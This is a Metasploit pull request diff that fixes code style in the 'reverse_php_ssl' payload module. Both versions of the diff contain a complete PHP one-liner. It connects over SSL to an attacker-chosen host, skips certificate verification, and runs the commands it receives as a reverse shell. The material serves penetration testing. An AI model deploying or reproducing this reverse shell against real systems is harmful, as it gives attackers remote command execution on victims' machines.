Merge pull request rapid7#20064 from bcoles/payloads-php-reverse_php_ssl

payloads: cmd/unix/reverse_php_ssl: Resolve RuboCop violations

Author: adfoster-r7

modules/payloads/singles/cmd/unix/reverse_php_ssl.rb

@@ -3,32 +3,32 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 module MetasploitModule
-
   CachedSize = 279
 
   include Msf::Payload::Single
   include Msf::Sessions::CommandShellOptions
 
   def initialize(info = {})
-    super(merge_info(info,
-     'Name'          => 'Unix Command Shell, Reverse TCP SSL (via php)',
-     'Description'   => 'Creates an interactive shell via php, uses SSL',
-     'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
-     'License'       => BSD_LICENSE,
-     'Platform'      => 'unix',
-     'Arch'          => ARCH_CMD,
-     'Handler'       => Msf::Handler::ReverseTcpSsl,
-     'Session'       => Msf::Sessions::CommandShell,
-     'PayloadType'   => 'cmd',
-     'RequiredCmd'   => 'php',
-     'Payload'       =>
-       {
-         'Offsets' => { },
-         'Payload' => ''
-       }
-    ))
+    super(
+      merge_info(
+        info,
+        'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',
+        'Description' => 'Creates an interactive shell via php, uses SSL',
+        'Author' => 'RageLtMan <rageltman[at]sempervictus>',
+        'License' => BSD_LICENSE,
+        'Platform' => 'unix',
+        'Arch' => ARCH_CMD,
+        'Handler' => Msf::Handler::ReverseTcpSsl,
+        'Session' => Msf::Sessions::CommandShell,
+        'PayloadType' => 'cmd',
+        'RequiredCmd' => 'php',
+        'Payload' => {
+          'Offsets' => {},
+          'Payload' => ''
+        }
+      )
+    )
     register_advanced_options(
       [
         OptString.new('PHPPath', [true, 'The path to the PHP executable', 'php'])
@@ -48,9 +48,7 @@ def generate(_opts = {})
   # Returns the command string to use for execution
   #
   def command_string
-    lhost = datastore['LHOST']
-    ver   = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
-    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-    cmd = "#{datastore['PHPPath']} -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false,\"verify_peer_name\"=>false]]);while($s=@stream_socket_client(\"ssl://#{datastore['LHOST']}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"
+    lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
+    "#{datastore['PHPPath']} -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false,\"verify_peer_name\"=>false]]);while($s=@stream_socket_client(\"ssl://#{lhost}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"
   end
 end